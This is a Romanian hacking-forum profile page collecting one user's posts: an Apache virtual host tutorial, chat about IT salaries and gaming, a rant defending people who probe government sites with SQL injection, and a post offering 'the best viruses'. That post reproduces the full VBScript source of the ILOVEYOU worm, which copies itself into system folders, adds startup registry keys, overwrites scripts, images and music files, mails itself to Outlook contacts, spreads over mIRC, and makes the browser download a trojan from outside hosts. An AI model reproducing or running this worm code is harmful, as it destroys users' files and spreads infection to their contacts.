Jump to content

sleed

Active Members
 View Profile  See their activity

  • Posts

    1019

  • Joined

  • Last visited

  • Days Won

    9

 Content Type 

Posts posted by sleed

  6. Cum sa ti setezi un host virtual pe serverul tau ?

    in Tutoriale in romana

    Posted

    In acest tutorial va v-oi arata cum sa setati un host virtual pe apache, Debian/Ubuntu.

    In I rand, sa aveti apache2 instalat :

    sudo apt-get install apache2

    II.Creati un nou director :

    sudo mkdir -p /var/www/jepele.com/web

    III.Garantati permisiile necesare :

    sudo chown -R $USER:$USER /var/www/jepele.com/webl

    IV.

    sudo chmod -R 755 /var/www
    , pentru a avea acces la folderu web din exterior.

    V.Apoi cu urmatoarea comanda

    sudo nano /var/www/jepele.com/web/index.html
    , v-om edita si v-om crea indexul.. Aici ve-ti scrie ce doriti.

    VI.Configuram o noua parte a Virtual Hostului :

    sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/jepele.com

    VII. Cu comanda aceasta, v-om porni virtual hostul :

    sudo nano /etc/apache2/sites-available/jepele.com

    VIII. Sub ServerAdmin , adaugam linia aceasta :

    ServerName jepele.com

    IX.Va arata cam asa :

    <VirtualHost *:80>

    ServerAdmin webmaster@jepele.com

    ServerName jepele.com

    ServerAlias www.jepele.com......

    X.Sa fie adaugat Document Root, sub server alias : Exemplu :

    DocumentRoot /var/www/jepele.com/web

    XI.Actiam modulul prin :

    sudo a2ensite jepele.com

    XII. Restart Apache : service apache2 restart & /etc/init.d/apache2 restart

    Sursa :

    + tastata , dezvoltata de mine. Merge 100 %. Va multumesc!

    P.S. in loc de jepele.com , puteti adauga ce vrei voi.

  10. Cel mai dorit job din Romania: salariul urca la 6.000 de euro, somajul NU exista

    in Stiri securitate

    Posted

    Tara noastra ofera genii in ale IT-ului , si majoritatea de la noi , care se pricep in programare , sunt platiti foarte bine si aici si in tara.Am un prieten , care a lucrat la Vodafone , ca programator , apoi a plecat , printr un contract la Oracle in Cehia , Praga , primea 2000 $ , el , dar si nevastasa , si apoi l au luat Microsoft , acum are 4000 $ , are masina de servici , apartament de servici , firma ii plateste intretinerea , apa calda , tot , si cum sa nu fie bine ca programator ?... Dar a trecut prin multe sa ajunga acolo , asa ca doar prin munca ajungi departe .

  16. Cei mai buni virusi .BAT

    in Tutoriale in romana

    Posted

    Cativa virusi buni , precum Love Letter :

    rem barok -loveletter(vbe) <i hate go to school>

    rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines

    On Error Resume Next

    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

    eq=""

    ctr=0

    Set fso = CreateObject("Scripting.FileSystemObject")

    set file = fso.OpenTextFile(WScript.ScriptFullname,1)

    vbscopy=file.ReadAll

    main()

    sub main()

    On Error Resume Next

    dim wscr,rr

    set wscr=CreateObject("WScript.Shell")

    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

    if (rr>=1) then

    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

    end if

    Set dirwin = fso.GetSpecialFolder(0)

    Set dirsystem = fso.GetSpecialFolder(1)

    Set dirtemp = fso.GetSpecialFolder(2)

    Set c = fso.GetFile(WScript.ScriptFullName)

    c.Copy(dirsystem&"\MSKernel32.vbs")

    c.Copy(dirwin&"\Win32DLL.vbs")

    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

    regruns()

    html()

    spreadtoemail()

    listadriv()

    end sub

    sub regruns()

    On Error Resume Next

    Dim num,downread

    regcreate

    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"

    regcreate

    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"

    downread=""

    downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

    if (downread="") then

    downread="c:\"

    end if

    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

    Randomize

    num = Int((4 * Rnd) + 1)

    if num = 1 then

    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

    Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm

    hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

    elseif num = 2 then

    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw

    erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

    elseif num = 3 then

    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

    Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd

    QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"

    elseif num = 4 then

    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

    Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD

    GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"

    end if

    end if

    if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate

    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"

    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet

    Explorer\Main\Start Page","about:blank"

    end if

    end sub

    sub listadriv

    On Error Resume Next

    Dim d,dc,s

    Set dc = fso.Drives

    For Each d in dc

    If d.DriveType = 2 or d.DriveType=3 Then

    folderlist(d.path&"\")

    end if

    Next

    listadriv = s

    end sub

    sub infectfiles(folderspec)

    On Error Resume Next

    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

    set f = fso.GetFolder(folderspec)

    set fc = f.Files

    for each f1 in fc

    ext=fso.GetExtensionName(f1.path)

    ext=lcase(ext)

    s=lcase(f1.name)

    if (ext="vbs") or (ext="vbe") then

    set ap=fso.OpenTextFile(f1.path,2,true)

    ap.write vbscopy

    ap.close

    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then

    set ap=fso.OpenTextFile(f1.path,2,true)

    ap.write vbscopy

    ap.close

    bname=fso.GetBaseName(f1.path)

    set cop=fso.GetFile(f1.path)

    cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)

    elseif(ext="jpg") or (ext="jpeg") then

    set ap=fso.OpenTextFile(f1.path,2,true)

    ap.write vbscopy

    ap.close

    set cop=fso.GetFile(f1.path)

    cop.copy(f1.path&".vbs")

    fso.DeleteFile(f1.path)

    elseif(ext="mp3") or (ext="mp2") then

    set mp3=fso.CreateTextFile(f1.path&".vbs")

    mp3.write vbscopy

    mp3.close

    set att=fso.GetFile(f1.path)

    att.attributes=att.attributes+2

    end if

    if (eq<>folderspec) then

    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then

    set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"

    scriptini.WriteLine ";mIRC Script"

    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"

    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"

    scriptini.WriteLine ";"

    scriptini.WriteLine ";Khaled Mardam-Bey"

    scriptini.WriteLine ";http://www.mirc.com"

    scriptini.WriteLine ";"

    scriptini.WriteLine "n0=on 1:JOIN:#:{"

    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick

    "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

    scriptini.WriteLine "n3=}"

    scriptini.close

    eq=folderspec

    end if

    end if

    next

    end sub

    sub folderlist(folderspec)

    On Error Resume Next

    dim f,f1,sf

    set f = fso.GetFolder(folderspec)

    set sf = f.SubFolders

    for each f1 in sf

    infectfiles(f1.path)

    folderlist(f1.path)

    next

    end sub

    sub regcreate(regkey,regvalue)

    Set regedit = CreateObject("WScript.Shell")

    regedit.RegWrite regkey,regvalue

    end sub

    function regget(value)

    Set regedit = CreateObject("WScript.Shell")

    regget=regedit.RegRead(value)

    end function

    function fileexist(filespec)

    On Error Resume Next

    dim msg

    if (fso.FileExists(filespec)) Then

    msg = 0

    else

    msg = 1

    end if

    fileexist = msg

    end function

    function folderexist(folderspec)

    On Error Resume Next

    dim msg

    if (fso.GetFolderExists(folderspec)) then

    msg = 0

    else

    msg = 1

    end if

    fileexist = msg

    end function

    sub spreadtoemail()

    On Error Resume Next

    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

    set regedit=CreateObject("WScript.Shell")

    set out=WScript.CreateObject("Outlook.Application")

    set mapi=out.GetNameSpace("MAPI")

    for ctrlists=1 to mapi.AddressLists.Count

    set a=mapi.AddressLists(ctrlists)

    x=1

    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then

    regv=1

    end if

    if (int(a.AddressEntries.Count)>int(regv)) then

    for ctrentries=1 to a.AddressEntries.Count

    malead=a.AddressEntries(x)

    regad=""

    regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )

    if (regad="") then

    set male=out.CreateItem(0)

    male.Recipients.Add(malead)

    male.Subject = "ILOVEYOU"

    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send

    regedit.RegWrite

    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if

    x=x+1

    next

    regedit.RegWrite

    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else

    regedit.RegWrite

    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if

    next

    Set out=Nothing

    Set mapi=Nothing

    end sub

    sub html

    On Error Resume Next

    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -

    LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?

    @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@

    CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _

    "<?-?HEAD><BODY

    ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.

    HTM#-#,#-#main#-#)@-@ "&vbcrlf& _

    "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@

    BGPROPERTIES=@-@fixed@-@

    BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

    "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to

    Enable ActiveX<?-?p>"&vbcrlf& _

    "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

    BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _

    "<?-?BODY><?-?HTML>"&vbcrlf& _

    "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _

    "if (window.screen){var wi=screen.availWidth;var

    hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _

    "?-??-?-->"&vbcrlf& _

    "<?-?SCRIPT>"&vbcrlf& _

    "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _

    "on error resume next"&vbcrlf& _

    "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _

    "code="

    dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _

    "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _

    "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set

    wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _

    "wri.write code4"&vbcrlf& _

    "wri.close"&vbcrlf& _

    "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _

    "aw=0"&vbcrlf& _

    "end if"&vbcrlf& _

    "if (aw=1) then"&vbcrlf& _

    "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _

    "end if"&vbcrlf& _

    "end if"&vbcrlf& _

    "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _

    "regedit.RegWrite

    @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^

    -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _

    "<?-?SCRIPT>"

    dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")

    dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")

    dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")

    dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")

    dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

    dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

    set fso=CreateObject("Scripting.FileSystemObject")

    set c=fso.OpenTextFile(WScript.ScriptFullName,1)

    lines=Split(c.ReadAll,vbcrlf)

    l1=ubound(lines)

    for n=0 to ubound(lines)

    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then

    lines(n)=chr(34)+lines(n)+chr(34)

    else

    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if

    next

    set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close

    set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5

    d.write join(lines,vbcrlf)

    d.write vbcrlf

    d.write dt6

    d.close

    end sub

    Sa nu de a Dumnezeu , sa salvati .vbs , si sa dati run ca v ati arS! Alt virus , Gozi// zic eu ca sunt dintre cei mai "daunatori" trojani..

  20. Infractiunile informatice din Noul Cod Penal

    in Stiri securitate

    Posted · Edited by sleed

    Astea sunt legi noi date de boi ,sa danseze valsu p**** mele ... Nu mi se pare corect , ca intr un stat ca asta , legile sa fie asa aspre asupra celor care gasesc un amarat de sql intr un .gov. Carderii ar trebui luati toti , si "asa zisii mafioti" , tigani care au "afaceri pe dincolo" , nu ar trebui arestati ,tarati prin tribunale?I as impusca pe toti. Oameni ce , totusi au un potential , nu ca au dat cu ' , sau 1=2 intr un site, si asa mai departe , si cei care stiu ce fac , si care gasesc o vulnerabilitate intr un site guvernamental , facut cu 1000000 de euro din banii publici , ar trebui angajati imediat , nu arestati , cum se face mai nou.Si aici nu ma refer la asa zisii hacheri , care fac un exe , sau fac scam page , sa fure conturi bancare , si nici la oameni precum Sirvic , care atata caz s a facut pentru el , a invatat cateva tutoriale, si le a exersat ,din fericire sau nefericire pentru el , i a reusit ceva..Macar sa ajunga vedeta la tv :) si cu alte probleme bineinteles.Pacat , Romania si alte state v or pierde la acest capitol , Securitatea in IT pentru ca nu se va intelege , cum , unu care nu a luat bacu , sau are 9 clase ca Iceman , a reusit sa gaseaca gauri de securitate in NASA.

  25. Comunitate Gaming...

    in Off-topic

    Posted

    Nu mai prea merge treaba cu jocurile online , a scazut , in 2005 cand CS u era pe val , si eu eram 5on5 non stop , da m am plictisit de acest joc , si de wow si de toate.Acu pustanii is pe FB , si altele , si nu prea mai intra sa joace cs.. Iti trebuie gear , ca sa "dai bine", cum zicea Perry :)

×
×
  • Create New...